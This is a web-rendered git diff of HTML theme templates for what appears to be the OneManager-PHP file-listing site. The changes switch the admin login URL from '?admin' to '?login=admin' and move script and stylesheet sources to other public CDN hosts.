document.getElementById('password1').focus();
|
||||||
<!--EncryptedEnd-->
|
<!--EncryptedEnd-->
|
||||||
</script>
|
</script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
|
<script src="https://www.unpkg.com/ionicons@6.0.1/dist/ionicons.js"></script>
|
||||||
<!--LoginStart--><script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script><!--LoginEnd-->
|
<!--LoginStart--><script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script><!--LoginEnd-->
|
||||||
<!--customScript-->
|
<!--customScript-->
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
+1
-1
@@ -497,7 +497,7 @@
|
|||||||
<div>
|
<div>
|
||||||
<a onclick="operatediv_close('login')" class="operatediv_close">×</a>
|
<a onclick="operatediv_close('login')" class="operatediv_close">×</a>
|
||||||
<center>
|
<center>
|
||||||
<form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);">
|
<form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
|
||||||
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
||||||
<input name="timestamp" type="hidden" value="">
|
<input name="timestamp" type="hidden" value="">
|
||||||
<input type="submit" value="<!--constStr@Login-->">
|
<input type="submit" value="<!--constStr@Login-->">
|
||||||
|
|||||||
@@ -89,7 +89,7 @@
|
|||||||
<span aria-hidden="true">×</span>
|
<span aria-hidden="true">×</span>
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
<form action="?admin" method="post">
|
<form action="?login=admin" method="post">
|
||||||
<div class="modal-body">
|
<div class="modal-body">
|
||||||
<input class="form-control" id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
<input class="form-control" id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
+1
-1
@@ -421,7 +421,7 @@
|
|||||||
<div style="margin:50px">
|
<div style="margin:50px">
|
||||||
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
|
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
|
||||||
<center>
|
<center>
|
||||||
<form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);">
|
<form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
|
||||||
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
||||||
<input name="timestamp" type="hidden" value="">
|
<input name="timestamp" type="hidden" value="">
|
||||||
<input type="submit" value="<!--constStr@Login-->">
|
<input type="submit" value="<!--constStr@Login-->">
|
||||||
|
|||||||
+1
-1
@@ -457,7 +457,7 @@
|
|||||||
<div style="margin:50px">
|
<div style="margin:50px">
|
||||||
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
|
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
|
||||||
<center>
|
<center>
|
||||||
<form action="<!--IsPreview?-->admin" method="post">
|
<form action="<!--IsPreview?-->login=admin" method="post">
|
||||||
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
||||||
<input type="submit" value="<!--constStr@Login-->">
|
<input type="submit" value="<!--constStr@Login-->">
|
||||||
</form>
|
</form>
|
||||||
|
|||||||
+5
-5
@@ -1,7 +1,7 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="zh-CN">
|
<html lang="zh-CN">
|
||||||
<head>
|
<head>
|
||||||
<link rel="preconnect" href="https://cdn.jsdelivr.net" />
|
<link rel="preconnect" href="https://fastly.jsdelivr.net" />
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" />
|
<link rel="preconnect" href="https://fonts.gstatic.com" />
|
||||||
<meta charset="utf-8" />
|
<meta charset="utf-8" />
|
||||||
@@ -16,7 +16,7 @@
|
|||||||
/>
|
/>
|
||||||
<title><!--Title--></title>
|
<title><!--Title--></title>
|
||||||
<meta name="description" content="A Onemanager-PHP site with Theme-renexmoe" />
|
<meta name="description" content="A Onemanager-PHP site with Theme-renexmoe" />
|
||||||
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/css/app.css"><meta name="theme-color" content="#fff" />
|
<link rel="stylesheet" href="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/css/app.css"><meta name="theme-color" content="#fff" />
|
||||||
<!--BackgroundStart-->
|
<!--BackgroundStart-->
|
||||||
<style>
|
<style>
|
||||||
body {
|
body {
|
||||||
@@ -98,9 +98,9 @@
|
|||||||
<div class="mdui-drawer mdui-drawer-close" id="main-drawer">
|
<div class="mdui-drawer mdui-drawer-close" id="main-drawer">
|
||||||
<div class="mdui-list" mdui-collapse="{accordion: true}">
|
<div class="mdui-list" mdui-collapse="{accordion: true}">
|
||||||
<!--LoginStart-->
|
<!--LoginStart-->
|
||||||
<li class="mdui-list-item mdui-ripple" href="?admin" >
|
<li class="mdui-list-item mdui-ripple" href="?login=admin" >
|
||||||
<a class="mdui-list-item-icon mdui-icon material-icons">account_circle</a>
|
<a class="mdui-list-item-icon mdui-icon material-icons">account_circle</a>
|
||||||
<a class="mdui-list-item-content" href="?admin">登录</a>
|
<a class="mdui-list-item-content" href="?login=admin">登录</a>
|
||||||
</li>
|
</li>
|
||||||
<!--LoginEnd-->
|
<!--LoginEnd-->
|
||||||
<!--AdminStart-->
|
<!--AdminStart-->
|
||||||
@@ -511,5 +511,5 @@
|
|||||||
{ "music":"audiotrack", "video":"ondemand_video", "img":"image",
|
{ "music":"audiotrack", "video":"ondemand_video", "img":"image",
|
||||||
"pdf":"picture_as_pdf", "default":"insert_drive_file"}
|
"pdf":"picture_as_pdf", "default":"insert_drive_file"}
|
||||||
<!--IconValuesEnd-->
|
<!--IconValuesEnd-->
|
||||||
<script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@1b381f3c.a4f2dc4618121eac37e2.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@28a13772.98a11cc0c1cf2495c3d8.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@34e3d95a.2f8dbf552095a86a7f1b.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@798ab416.9ed46bb752b71a3c13a4.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@9c50beac.30955a99f08c9574cd14.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@f0256996.956ea71aa357ba3fdc28.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/webpack-runtime.93708ab3e9cb84dcc01a.js"></script>
|
<script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@1b381f3c.a4f2dc4618121eac37e2.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@28a13772.98a11cc0c1cf2495c3d8.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@34e3d95a.2f8dbf552095a86a7f1b.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@798ab416.9ed46bb752b71a3c13a4.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@9c50beac.30955a99f08c9574cd14.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@f0256996.956ea71aa357ba3fdc28.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/webpack-runtime.93708ab3e9cb84dcc01a.js"></script>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
+2
-2
@@ -187,7 +187,7 @@
|
|||||||
</path></svg></div>
|
</path></svg></div>
|
||||||
<div style="padding:1px" id="top-div">
|
<div style="padding:1px" id="top-div">
|
||||||
<!--LoginStart-->
|
<!--LoginStart-->
|
||||||
<a class="login" href="?admin"><ion-icon name="add-circle-outline"></ion-icon></a><!--onclick="login();"-->
|
<a class="login" href="?login=admin"><ion-icon name="add-circle-outline"></ion-icon></a><!--onclick="login();"-->
|
||||||
<!--LoginEnd-->
|
<!--LoginEnd-->
|
||||||
<!--AdminStart-->
|
<!--AdminStart-->
|
||||||
<li class="operate" id="opflow"><ion-icon name="add-circle-outline"></ion-icon><ul>
|
<li class="operate" id="opflow"><ion-icon name="add-circle-outline"></ion-icon><ul>
|
||||||
@@ -585,7 +585,7 @@
|
|||||||
<div style="margin:50px">
|
<div style="margin:50px">
|
||||||
<a onclick="operatediv_close('login')" class="operatediv_close">×</a>
|
<a onclick="operatediv_close('login')" class="operatediv_close">×</a>
|
||||||
<center>
|
<center>
|
||||||
<form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);">
|
<form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
|
||||||
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
|
||||||
<input name="timestamp" type="hidden" value="">
|
<input name="timestamp" type="hidden" value="">
|
||||||
<input type="submit" value="<!--constStr@Login-->">
|
<input type="submit" value="<!--constStr@Login-->">
|
||||||
|
|||||||
Reference in New Issue
Block a user